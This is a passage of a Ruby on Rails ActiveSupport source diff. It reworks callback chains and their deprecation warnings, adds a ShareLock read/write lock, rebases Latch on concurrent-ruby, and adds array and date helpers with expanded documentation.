-65,6 +67,12 @@ module ActiveSupport CALLBACK_FILTER_TYPES = [:before, :after, :around] + # If true, Active Record and Active Model callbacks returning +false+ will + # halt the entire callback chain and display a deprecation message. + # If false, callback chains will only be halted by calling +throw :abort+. + # Defaults to +true+. + mattr_accessor(:halt_and_display_warning_on_return_false, instance_writer: false) { true } + # Runs the callbacks for the given event. # # Calls the before and around callbacks in the order they were set, yields @@ -84,9 +92,9 @@ module ActiveSupport private - def _run_callbacks(callbacks, &block) + def __run_callbacks__(callbacks, &block) if callbacks.empty? - block.call if block + yield if block_given? else runner = callbacks.compile e = Filters::Environment.new(self, false, nil, block) @@ -125,14 +133,10 @@ module ActiveSupport def self.build(callback_sequence, user_callback, user_conditions, chain_config, filter) halted_lambda = chain_config[:terminator] - if chain_config.key?(:terminator) && user_conditions.any? + if user_conditions.any? halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter) - elsif chain_config.key? :terminator - halting(callback_sequence, user_callback, halted_lambda, filter) - elsif user_conditions.any? - conditional(callback_sequence, user_callback, user_conditions) else - simple callback_sequence, user_callback + halting(callback_sequence, user_callback, halted_lambda, filter) end end @@ -174,42 +178,15 @@ module ActiveSupport end end private_class_method :halting - - def self.conditional(callback_sequence, user_callback, user_conditions) - callback_sequence.before do |env| - target = env.target - value = env.value - - if user_conditions.all? { |c| c.call(target, value) } - user_callback.call target, value - end - - env - end - end - private_class_method :conditional - - def self.simple(callback_sequence, user_callback) - callback_sequence.before do |env| - user_callback.call env.target, env.value - - env - end - end - private_class_method :simple end class After def self.build(callback_sequence, user_callback, user_conditions, chain_config) if chain_config[:skip_after_callbacks_if_terminated] - if chain_config.key?(:terminator) && user_conditions.any? + if user_conditions.any? halting_and_conditional(callback_sequence, user_callback, user_conditions) - elsif chain_config.key?(:terminator) - halting(callback_sequence, user_callback) - elsif user_conditions.any? - conditional callback_sequence, user_callback, user_conditions else - simple callback_sequence, user_callback + halting(callback_sequence, user_callback) end else if user_conditions.any? @@ -272,14 +249,10 @@ module ActiveSupport class Around def self.build(callback_sequence, user_callback, user_conditions, chain_config) - if chain_config.key?(:terminator) && user_conditions.any? + if user_conditions.any? halting_and_conditional(callback_sequence, user_callback, user_conditions) - elsif chain_config.key? :terminator - halting(callback_sequence, user_callback) - elsif user_conditions.any? - conditional(callback_sequence, user_callback, user_conditions) else - simple(callback_sequence, user_callback) + halting(callback_sequence, user_callback) end end @@ -317,38 +290,18 @@ module ActiveSupport end end private_class_method :halting - - def self.conditional(callback_sequence, user_callback, user_conditions) - callback_sequence.around do |env, &run| - target = env.target - value = env.value - - if user_conditions.all? { |c| c.call(target, value) } - user_callback.call(target, value) { - run.call.value - } - env - else - run.call - end - end - end - private_class_method :conditional - - def self.simple(callback_sequence, user_callback) - callback_sequence.around do |env, &run| - user_callback.call(env.target, env.value) { - run.call.value - } - env - end - end - private_class_method :simple end end class Callback #:nodoc:# def self.build(chain, filter, kind, options) + if filter.is_a?(String) + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing string to define callback is deprecated and will be removed + in Rails 5.1 without replacement. + MSG + end + new chain.name, filter, kind, options, chain.config end @@ -511,12 +464,6 @@ module ActiveSupport attr_reader :name, :config - # If true, any callback returning +false+ will halt the entire callback - # chain and display a deprecation message. If false, callback chains will - # only be halted by calling +throw :abort+. Defaults to +true+. - class_attribute :halt_and_display_warning_on_return_false - self.halt_and_display_warning_on_return_false = true - def initialize(name, config) @name = name @config = { @@ -597,23 +544,12 @@ module ActiveSupport Proc.new do |target, result_lambda| terminate = true catch(:abort) do - result = result_lambda.call if result_lambda.is_a?(Proc) - if halt_and_display_warning_on_return_false && result == false - display_deprecation_warning_for_false_terminator - else - terminate = false - end + result_lambda.call if result_lambda.is_a?(Proc) + terminate = false end terminate end end - - def display_deprecation_warning_for_false_terminator - ActiveSupport::Deprecation.warn(<<-MSG.squish) - Returning `false` in a callback will not implicitly halt a callback chain in the next release of Rails. - To explicitly halt a callback chain, please use `throw :abort` instead. - MSG - end end module ClassMethods @@ -635,18 +571,18 @@ module ActiveSupport # Install a callback for the given event. # - # set_callback :save, :before, :before_meth - # set_callback :save, :after, :after_meth, if: :condition + # set_callback :save, :before, :before_method + # set_callback :save, :after, :after_method, if: :condition # set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff } # - # The second arguments indicates whether the callback is to be run +:before+, + # The second argument indicates whether the callback is to be run +:before+, # +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This # means the first example above can also be written as: # - # set_callback :save, :before_meth + # set_callback :save, :before_method # # The callback can be specified as a symbol naming an instance method; as a - # proc, lambda, or block; as a string to be instance evaluated; or as an + # proc, lambda, or block; as a string to be instance evaluated(deprecated); or as an # object that responds to a certain method determined by the <tt>:scope</tt> # argument to +define_callbacks+. # @@ -662,10 +598,12 @@ module ActiveSupport # # ===== Options # - # * <tt>:if</tt> - A symbol naming an instance method or a proc; the - # callback will be called only when it returns a +true+ value. - # * <tt>:unless</tt> - A symbol naming an instance method or a proc; the - # callback will be called only when it returns a +false+ value. + # * <tt>:if</tt> - A symbol, a string or an array of symbols and strings, + # each naming an instance method or a proc; the callback will be called + # only when they all return a true value. + # * <tt>:unless</tt> - A symbol, a string or an array of symbols and + # strings, each naming an instance method or a proc; the callback will + # be called only when they all return a false value. # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the # existing chain rather than appended. def set_callback(name, *filter_list, &block) @@ -688,19 +626,27 @@ module ActiveSupport # class Writer < Person # skip_callback :validate, :before, :check_membership, if: -> { self.age > 18 } # end + # + # An <tt>ArgumentError</tt> will be raised if the callback has not + # already been set (unless the <tt>:raise</tt> option is set to <tt>false</tt>). def skip_callback(name, *filter_list, &block) type, filters, options = normalize_callback_params(filter_list, block) + options[:raise] = true unless options.key?(:raise) __update_callbacks(name) do |target, chain| filters.each do |filter| - filter = chain.find {|c| c.matches?(type, filter) } + callback = chain.find {|c| c.matches?(type, filter) } - if filter && options.any? - new_filter = filter.merge_conditional_options(chain, if_option: options[:if], unless_option: options[:unless]) - chain.insert(chain.index(filter), new_filter) + if !callback && options[:raise] + raise ArgumentError, "#{type.to_s.capitalize} #{name} callback #{filter.inspect} has not been defined" end - chain.delete(filter) + if callback && (options.key?(:if) || options.key?(:unless)) + new_callback = callback.merge_conditional_options(chain, if_option: options[:if], unless_option: options[:unless]) + chain.insert(chain.index(callback), new_callback) + end + + chain.delete(callback) end target.set_callbacks name, chain end @@ -730,14 +676,15 @@ module ActiveSupport # callback chain, preventing following before and around callbacks from # being called and the event from being triggered. # This should be a lambda to be executed. - # The current object and the return result of the callback will be called - # with the lambda. + # The current object and the result lambda of the callback will be provided + # to the terminator lambda. # - # define_callbacks :validate, terminator: ->(target, result) { result == false } + # define_callbacks :validate, terminator: ->(target, result_lambda) { result_lambda.call == false } # # In this example, if any before validate callbacks returns +false+, # any successive before and around callback is not executed. - # Defaults to +false+, meaning no value halts the chain. + # + # The default terminator halts the chain when a callback throws +:abort+. # # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after # callbacks should be terminated by the <tt>:terminator</tt> option. By @@ -795,12 +742,12 @@ module ActiveSupport options = names.extract_options! names.each do |name| - class_attribute "_#{name}_callbacks" + class_attribute "_#{name}_callbacks", instance_writer: false set_callbacks name, CallbackChain.new(name, options) module_eval <<-RUBY, __FILE__, __LINE__ + 1 def _run_#{name}_callbacks(&block) - _run_callbacks(_#{name}_callbacks, &block) + __run_callbacks__(_#{name}_callbacks, &block) end RUBY end @@ -808,13 +755,37 @@ module ActiveSupport protected - def get_callbacks(name) + def get_callbacks(name) # :nodoc: send "_#{name}_callbacks" end - def set_callbacks(name, callbacks) + def set_callbacks(name, callbacks) # :nodoc: send "_#{name}_callbacks=", callbacks end + + def deprecated_false_terminator # :nodoc: + Proc.new do |target, result_lambda| + terminate = true + catch(:abort) do + result = result_lambda.call if result_lambda.is_a?(Proc) + if Callbacks.halt_and_display_warning_on_return_false && result == false + display_deprecation_warning_for_false_terminator + else + terminate = false + end + end + terminate + end + end + + private + + def display_deprecation_warning_for_false_terminator + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Returning `false` in Active Record and Active Model callbacks will not implicitly halt a callback chain in Rails 5.1. + To explicitly halt the callback chain, please use `throw :abort` instead. + MSG + end end end end diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb index 4082d2d464..0403eb70ca 100644 --- a/activesupport/lib/active_support/concern.rb +++ b/activesupport/lib/active_support/concern.rb @@ -132,7 +132,7 @@ module ActiveSupport end def class_methods(&class_methods_module_definition) - mod = const_defined?(:ClassMethods) ? + mod = const_defined?(:ClassMethods, false) ? const_get(:ClassMethods) : const_set(:ClassMethods, Module.new) diff --git a/activesupport/lib/active_support/concurrency/latch.rb b/activesupport/lib/active_support/concurrency/latch.rb index 1507de433e..4abe5ece6f 100644 --- a/activesupport/lib/active_support/concurrency/latch.rb +++ b/activesupport/lib/active_support/concurrency/latch.rb @@ -1,26 +1,18 @@ -require 'thread' -require 'monitor' +require 'concurrent/atomic/count_down_latch' module ActiveSupport module Concurrency - class Latch + class Latch < Concurrent::CountDownLatch + def initialize(count = 1) - @count = count - @lock = Monitor.new - @cv = @lock.new_cond + ActiveSupport::Deprecation.warn("ActiveSupport::Concurrency::Latch is deprecated. Please use Concurrent::CountDownLatch instead.") + super(count) end - def release - @lock.synchronize do - @count -= 1 if @count > 0 - @cv.broadcast if @count.zero? - end - end + alias_method :release, :count_down def await - @lock.synchronize do - @cv.wait_while { @count > 0 } - end + wait(nil) end end end diff --git a/activesupport/lib/active_support/concurrency/share_lock.rb b/activesupport/lib/active_support/concurrency/share_lock.rb new file mode 100644 index 0000000000..89e63aefd4 --- /dev/null +++ b/activesupport/lib/active_support/concurrency/share_lock.rb @@ -0,0 +1,186 @@ +require 'thread' +require 'monitor' + +module ActiveSupport + module Concurrency + # A share/exclusive lock, otherwise known as a read/write lock. + # + # https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock + class ShareLock + include MonitorMixin + + # We track Thread objects, instead of just using counters, because + # we need exclusive locks to be reentrant, and we need to be able + # to upgrade share locks to exclusive. + + + def initialize + super() + + @cv = new_cond + + @sharing = Hash.new(0) + @waiting = {} + @exclusive_thread = nil + @exclusive_depth = 0 + end + + # Returns false if +no_wait+ is set and the lock is not + # immediately available. Otherwise, returns true after the lock + # has been acquired. + # + # +purpose+ and +compatible+ work together; while this thread is + # waiting for the exclusive lock, it will yield its share (if any) + # to any other attempt whose +purpose+ appears in this attempt's + # +compatible+ list. This allows a "loose" upgrade, which, being + # less strict, prevents some classes of deadlocks. + # + # For many resources, loose upgrades are sufficient: if a thread + # is awaiting a lock, it is not running any other code. With + # +purpose+ matching, it is possible to yield only to other + # threads whose activity will not interfere. + def start_exclusive(purpose: nil, compatible: [], no_wait: false) + synchronize do + unless @exclusive_thread == Thread.current + if busy_for_exclusive?(purpose) + return false if no_wait + + yield_shares(purpose: purpose, compatible: compatible, block_share: true) do + @cv.wait_while { busy_for_exclusive?(purpose) } + end + end + @exclusive_thread = Thread.current + end + @exclusive_depth += 1 + + true + end + end + + # Relinquish the exclusive lock. Must only be called by the thread + # that called start_exclusive (and currently holds the lock). + def stop_exclusive(compatible: []) + synchronize do + raise "invalid unlock" if @exclusive_thread != Thread.current + + @exclusive_depth -= 1 + if @exclusive_depth == 0 + @exclusive_thread = nil + + if eligible_waiters?(compatible) + yield_shares(compatible: compatible, block_share: true) do + @cv.wait_while { @exclusive_thread || eligible_waiters?(compatible) } + end + end + @cv.broadcast + end + end + end + + def start_sharing + synchronize do + if @sharing[Thread.current] > 0 || @exclusive_thread == Thread.current + # We already hold a lock; nothing to wait for + elsif @waiting[Thread.current] + # We're nested inside a +yield_shares+ call: we'll resume as + # soon as there isn't an exclusive lock in our way + @cv.wait_while { @exclusive_thread } + else + # This is an initial / outermost share call: any outstanding + # requests for an exclusive lock get to go first + @cv.wait_while { busy_for_sharing?(false) } + end + @sharing[Thread.current] += 1 + end + end + + def stop_sharing + synchronize do + if @sharing[Thread.current] > 1 + @sharing[Thread.current] -= 1 + else + @sharing.delete Thread.current + @cv.broadcast + end + end + end + + # Execute the supplied block while holding the Exclusive lock. If + # +no_wait+ is set and the lock is not immediately available, + # returns +nil+ without yielding. Otherwise, returns the result of + # the block. + # + # See +start_exclusive+ for other options. + def exclusive(purpose: nil, compatible: [], after_compatible: [], no_wait: false) + if start_exclusive(purpose: purpose, compatible: compatible, no_wait: no_wait) + begin + yield + ensure + stop_exclusive(compatible: after_compatible) + end + end + end + + # Execute the supplied block while holding the Share lock. + def sharing + start_sharing + begin + yield + ensure + stop_sharing + end + end + + # Temporarily give up all held Share locks while executing the + # supplied block, allowing any +compatible+ exclusive lock request + # to proceed. + def yield_shares(purpose: nil, compatible: [], block_share: false) + loose_shares = previous_wait = nil + synchronize do + if loose_shares = @sharing.delete(Thread.current) + if previous_wait = @waiting[Thread.current] + purpose = nil unless purpose == previous_wait[0] + compatible &= previous_wait[1] + end + compatible |= [false] unless block_share + @waiting[Thread.current] = [purpose, compatible] + end + + @cv.broadcast + end + + begin + yield + ensure + synchronize do + @cv.wait_while { @exclusive_thread && @exclusive_thread != Thread.current } + + if previous_wait + @waiting[Thread.current] = previous_wait + else + @waiting.delete Thread.current + end + @sharing[Thread.current] = loose_shares if loose_shares + end + end + end + + private + + # Must be called within synchronize + def busy_for_exclusive?(purpose) + busy_for_sharing?(purpose) || + @sharing.size > (@sharing[Thread.current] > 0 ? 1 : 0) + end + + def busy_for_sharing?(purpose) + (@exclusive_thread && @exclusive_thread != Thread.current) || + @waiting.any? { |t, (_, c)| t != Thread.current && !c.include?(purpose) } + end + + def eligible_waiters?(compatible) + @waiting.any? { |t, (p, _)| compatible.include?(p) && @waiting.all? { |t2, (_, c2)| t == t2 || c2.include?(p) } } + end + end + end +end diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb index 7d0c1e4c8d..7551551bd7 100644 --- a/activesupport/lib/active_support/core_ext/array.rb +++ b/activesupport/lib/active_support/core_ext/array.rb @@ -4,3 +4,4 @@ require 'active_support/core_ext/array/conversions' require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/array/grouping' require 'active_support/core_ext/array/prepend_and_append' +require 'active_support/core_ext/array/inquiry' diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb index 3177d8498e..37d833887a 100644 --- a/activesupport/lib/active_support/core_ext/array/access.rb +++ b/activesupport/lib/active_support/core_ext/array/access.rb @@ -73,4 +73,18 @@ class Array def forty_two self[41] end + + # Equal to <tt>self[-3]</tt>. + # + # %w( a b c d e ).third_to_last # => "c" + def third_to_last + self[-3] + end + + # Equal to <tt>self[-2]</tt>. + # + # %w( a b c d e ).second_to_last # => "d" + def second_to_last + self[-2] + end end diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb index 080e3b5ef7..8718b7e1e5 100644 --- a/activesupport/lib/active_support/core_ext/array/conversions.rb +++ b/activesupport/lib/active_support/core_ext/array/conversions.rb @@ -32,7 +32,7 @@ class Array # ['one', 'two', 'three'].to_sentence # => "one, two, and three" # # ['one', 'two'].to_sentence(passing: 'invalid option') - # # => ArgumentError: Unknown key :passing + # # => ArgumentError: Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale # # ['one', 'two'].to_sentence(two_words_connector: '-') # # => "one-two" @@ -74,7 +74,7 @@ class Array when 0 '' when 1 - self[0].to_s.dup + "#{self[0]}" when 2 "#{self[0]}#{options[:two_words_connector]}#{self[1]}" else @@ -85,7 +85,9 @@ class Array # Extends <tt>Array#to_s</tt> to convert a collection of elements into a # comma separated id list if <tt>:db</tt> argument is given as the format. # - # Blog.all.to_formatted_s(:db) # => "1,2,3" + # Blog.all.to_formatted_s(:db) # => "1,2,3" + # Blog.none.to_formatted_s(:db) # => "null" + # [1,2].to_formatted_s # => "[1, 2]" def to_formatted_s(format = :default) case format when :db diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb index 87ae052eb0..ea9d85f6e3 100644 --- a/activesupport/lib/active_support/core_ext/array/grouping.rb +++ b/activesupport/lib/active_support/core_ext/array/grouping.rb @@ -89,28 +89,19 @@ class Array # [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]] # (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]] def split(value = nil) + arr = self.dup + result = [] if block_given? - inject([[]]) do |results, element| - if yield(element) - results << [] - else - results.last << element - end - - results + while (idx = arr.index { |i| yield i }) + result << arr.shift(idx) + arr.shift end else - results, arr = [[]], self.dup - until arr.empty? - if (idx = arr.index(value)) - results.last.concat(arr.shift(idx)) - arr.shift - results << [] - else - results.last.concat(arr.shift(arr.size)) - end + while (idx = arr.index(value)) + result << arr.shift(idx) + arr.shift end - results end + result << arr end end diff --git a/activesupport/lib/active_support/core_ext/array/inquiry.rb b/activesupport/lib/active_support/core_ext/array/inquiry.rb new file mode 100644 index 0000000000..e8f44cc378 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/array/inquiry.rb @@ -0,0 +1,17 @@ +require 'active_support/array_inquirer' + +class Array + # Wraps the array in an +ArrayInquirer+ object, which gives a friendlier way + # to check its string-like contents. + # + # pets = [:cat, :dog].inquiry + # + # pets.cat? # => true + # pets.ferret? # => false + # + # pets.any?(:cat, :ferret) # => true + # pets.any?(:ferret, :alligator) # => false + def inquiry + ActiveSupport::ArrayInquirer.new(self) + end +end diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb index 152eb02218..b611d34c27 100644 --- a/activesupport/lib/active_support/core_ext/array/wrap.rb +++ b/activesupport/lib/active_support/core_ext/array/wrap.rb @@ -3,7 +3,7 @@ class Array # # Specifically: # - # * If the argument is +nil+ an empty list is returned. + # * If the argument is +nil+ an empty array is returned. # * Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned. # * Otherwise, returns an array with the argument as its single element. # @@ -15,12 +15,13 @@ class Array # # * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> # moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns - # +nil+ right away. + # an array with the argument as its single element right away. # * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> # raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value. - # * It does not call +to_a+ on the argument, but returns an empty array if argument is +nil+. + # * It does not call +to_a+ on the argument, if the argument does not respond to +to_ary+ + # it returns an array with the argument as its single element. # - # The second point is easily explained with some enumerables: + # The last point is easily explained with some enumerables: # # Array(foo: :bar) # => [[:foo, :bar]] # Array.wrap(foo: :bar) # => [{:foo=>:bar}] diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb index 234283e792..074e2eabf8 100644 --- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb +++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb @@ -1,15 +1,12 @@ require 'bigdecimal' require 'bigdecimal/util' -class BigDecimal - DEFAULT_STRING_FORMAT = 'F' - alias_method :to_default_s, :to_s - - def to_s(format = nil, options = nil) - if format.is_a?(Symbol) - to_formatted_s(format, options || {}) - else - to_default_s(format || DEFAULT_STRING_FORMAT) +module ActiveSupport + module BigDecimalWithDefaultFormat #:nodoc: + def to_s(format = 'F') + super(format) end end end + +BigDecimal.prepend(ActiveSupport::BigDecimalWithDefaultFormat) diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb index c750a10bb2..ef903d59b5 100644 --- a/activesupport/lib/active_support/core_ext/class.rb +++ b/activesupport/lib/active_support/core_ext/class.rb @@ -1,3 +1,2 @@ require 'active_support/core_ext/class/attribute' -require 'active_support/core_ext/class/delegating_attributes' require 'active_support/core_ext/class/subclasses' diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb index f2b7bb3ef1..802d988af2 100644 --- a/activesupport/lib/active_support/core_ext/class/attribute.rb +++ b/activesupport/lib/active_support/core_ext/class/attribute.rb @@ -75,11 +75,15 @@ class Class instance_predicate = options.fetch(:instance_predicate, true) attrs.each do |name| + remove_possible_singleton_method(name) define_singleton_method(name) { nil } + + remove_possible_singleton_method("#{name}?") define_singleton_method("#{name}?") { !!public_send(name) } if instance_predicate ivar = "@#{name}" + remove_possible_singleton_method("#{name}=") define_singleton_method("#{name}=") do |val| singleton_class.class_eval do remove_possible_method(name) @@ -110,10 +114,15 @@ class Class self.class.public_send name end end + + remove_possible_method "#{name}?" define_method("#{name}?") { !!public_send(name) } if instance_predicate end - attr_writer name if instance_writer + if instance_writer + remove_possible_method "#{name}=" + attr_writer name + end end end end diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb deleted file mode 100644 index 1c305c5970..0000000000 --- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb +++ /dev/null @@ -1,45 +0,0 @@ -require 'active_support/core_ext/kernel/singleton_class' -require 'active_support/core_ext/module/remove_method' -require 'active_support/core_ext/module/deprecation' - - -class Class - def superclass_delegating_accessor(name, options = {}) - # Create private _name and _name= methods that can still be used if the public - # methods are overridden. - _superclass_delegating_accessor("_#{name}", options) - - # Generate the public methods name, name=, and name?. - # These methods dispatch to the private _name, and _name= methods, making them - # overridable. - singleton_class.send(:define_method, name) { send("_#{name}") } - singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") } - singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) } - - # If an instance_reader is needed, generate public instance methods name and name?. - if options[:instance_reader] != false - define_method(name) { send("_#{name}") } - define_method("#{name}?") { !!send("#{name}") } - end - end - - deprecate superclass_delegating_accessor: :class_attribute - - private - # Take the object being set and store it in a method. This gives us automatic - # inheritance behavior, without having to store the object in an instance - # variable and look up the superclass chain manually. - def _stash_object_in_method(object, method, instance_reader = true) - singleton_class.remove_possible_method(method) - singleton_class.send(:define_method, method) { object } - remove_possible_method(method) - define_method(method) { object } if instance_reader - end - - def _superclass_delegating_accessor(name, options = {}) - singleton_class.send(:define_method, "#{name}=") do |value| - _stash_object_in_method(value, name, options[:instance_reader] != false) - end - send("#{name}=", nil) - end -end diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb index 3c4bfc5f1e..b0f9a8be34 100644 --- a/activesupport/lib/active_support/core_ext/class/subclasses.rb +++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb @@ -3,7 +3,8 @@ require 'active_support/core_ext/module/reachable' class Class begin - ObjectSpace.each_object(Class.new) {} + # Test if this Ruby supports each_object against singleton_class + ObjectSpace.each_object(Numeric.singleton_class) {} def descendants # :nodoc: descendants = [] @@ -12,7 +13,7 @@ class Class end descendants end - rescue StandardError # JRuby + rescue StandardError # JRuby 9.0.4.0 and earlier def descendants # :nodoc: descendants = [] ObjectSpace.each_object(Class) do |k| diff --git a/activesupport/lib/active_support/core_ext/date.rb b/activesupport/lib/active_support/core_ext/date.rb index 465fedda80..7f0f4639a2 100644 --- a/activesupport/lib/active_support/core_ext/date.rb +++ b/activesupport/lib/active_support/core_ext/date.rb @@ -1,5 +1,5 @@ require 'active_support/core_ext/date/acts_like' +require 'active_support/core_ext/date/blank' require 'active_support/core_ext/date/calculations' require 'active_support/core_ext/date/conversions' require 'active_support/core_ext/date/zones' - diff --git a/activesupport/lib/active_support/core_ext/date/blank.rb b/activesupport/lib/active_support/core_ext/date/blank.rb new file mode 100644 index 0000000000..71627b6a6f --- /dev/null +++ b/activesupport/lib/active_support/core_ext/date/blank.rb @@ -0,0 +1,12 @@ +require 'date' + +class Date #:nodoc: + # No Date is blank: + # + # Date.today.blank? # => false + # + # @return [false] + def blank? + false + end +end diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb index c60e833441..d589b67bf7 100644 --- a/activesupport/lib/active_support/core_ext/date/calculations.rb +++ b/activesupport/lib/active_support/core_ext/date/calculations.rb @@ -26,7 +26,7 @@ class Date Thread.current[:beginning_of_week] = find_beginning_of_week!(week_start) end - # Returns week start day symbol (e.g. :monday), or raises an ArgumentError for invalid day symbol. + # Returns week start day symbol (e.g. :monday), or raises an +ArgumentError+ for invalid day symbol. def find_beginning_of_week!(week_start) raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.key?(week_start) week_start diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb index df419a6e63..9a6d7bb415 100644 --- a/activesupport/lib/active_support/core_ext/date/conversions.rb +++ b/activesupport/lib/active_support/core_ext/date/conversions.rb @@ -35,6 +35,7 @@ class Date # date.to_s(:db) # => "2007-11-10" # # date.to_formatted_s(:short) # => "10 Nov" + # date.to_formatted_s(:number) # => "20071110" # date.to_formatted_s(:long) # => "November 10, 2007" # date.to_formatted_s(:long_ordinal) # => "November 10th, 2007" # date.to_formatted_s(:rfc822) # => "10 Nov 2007" @@ -74,14 +75,20 @@ class Date # # date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007 # - # date.to_time # => Sat Nov 10 00:00:00 0800 2007 - # date.to_time(:local) # => Sat Nov 10 00:00:00 0800 2007 + # date.to_time # => 2007-11-10 00:00:00 0800 + # date.to_time(:local) # => 2007-11-10 00:00:00 0800 # - # date.to_time(:utc) # => Sat Nov 10 00:00:00 UTC 2007 + # date.to_time(:utc) # => 2007-11-10 00:00:00 UTC def to_time(form = :local) + raise ArgumentError, "Expected :local or :utc, got #{form.inspect}." unless [:local, :utc].include?(form) ::Time.send(form, year, month, day) end + # Returns a string which represents the time in used time zone as DateTime + # defined by XML Schema: + # + # date = Date.new(2015, 05, 23) # => Sat, 23 May 2015 + # date.xmlschema # => "2015-05-23T00:00:00+04:00" def xmlschema in_time_zone.xmlschema end diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb index 9525c10112..6206546672 100644 --- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb +++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/object/try' + module DateAndTime module Calculations DAYS_INTO_WEEK = { @@ -51,6 +53,11 @@ module DateAndTime WEEKEND_DAYS.include?(wday) end + # Returns true if the date/time does not fall on a Saturday or Sunday. + def on_weekday? + !WEEKEND_DAYS.include?(wday) + end + # Returns a new date/time the specified number of days ago. def days_ago(days) advance(:days => -days) @@ -92,15 +99,28 @@ module DateAndTime end # Returns a new date/time at the start of the month. - # DateTime objects will have a time set to 0:00. + # + # today = Date.today # => Thu, 18 Jun 2015 + # today.beginning_of_month # => Mon, 01 Jun 2015 + # + # +DateTime+ objects will have a time set to 0:00. + # + # now = DateTime.current # => Thu, 18 Jun 2015 15:23:13 +0000 + # now.beginning_of_month # => Mon, 01 Jun 2015 00:00:00 +0000 def beginning_of_month first_hour(change(:day => 1)) end alias :at_beginning_of_month :beginning_of_month # Returns a new date/time at the start of the quarter. - # Example: 1st January, 1st July, 1st October. - # DateTime objects will have a time set to 0:00. + # + # today = Date.today # => Fri, 10 Jul 2015 + # today.beginning_of_quarter # => Wed, 01 Jul 2015 + # + # +DateTime+ objects will have a time set to 0:00. + # + # now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000 + # now.beginning_of_quarter # => Wed, 01 Jul 2015 00:00:00 +0000 def beginning_of_quarter first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month } beginning_of_month.change(:month => first_quarter_month) @@ -108,26 +128,50 @@ module DateAndTime alias :at_beginning_of_quarter :beginning_of_quarter # Returns a new date/time at the end of the quarter. - # Example: 31st March, 30th June, 30th September. - # DateTime objects will have a time set to 23:59:59. + # + # today = Date.today # => Fri, 10 Jul 2015 + # today.end_of_quarter # => Wed, 30 Sep 2015 + # + # +DateTime+ objects will have a time set to 23:59:59. + # + # now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000 + # now.end_of_quarter # => Wed, 30 Sep 2015 23:59:59 +0000 def end_of_quarter last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month } beginning_of_month.change(:month => last_quarter_month).end_of_month end alias :at_end_of_quarter :end_of_quarter - # Return a new date/time at the beginning of the year. - # Example: 1st January. - # DateTime objects will have a time set to 0:00. + # Returns a new date/time at the beginning of the year. + # + # today = Date.today # => Fri, 10 Jul 2015 + # today.beginning_of_year # => Thu, 01 Jan 2015 + # + # +DateTime+ objects will have a time set to 0:00. + # + # now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000 + # now.beginning_of_year # => Thu, 01 Jan 2015 00:00:00 +0000 def beginning_of_year change(:month => 1).beginning_of_month end alias :at_beginning_of_year :beginning_of_year # Returns a new date/time representing the given day in the next week. + # + # today = Date.today # => Thu, 07 May 2015 + # today.next_week # => Mon, 11 May 2015 + # # The +given_day_in_next_week+ defaults to the beginning of the week # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+ - # when set. +DateTime+ objects have their time set to 0:00 unless +same_time+ is true. + # when set. + # + # today = Date.today # => Thu, 07 May 2015 + # today.next_week(:friday) # => Fri, 15 May 2015 + # + # +DateTime+ objects have their time set to 0:00 unless +same_time+ is true. + # + # now = 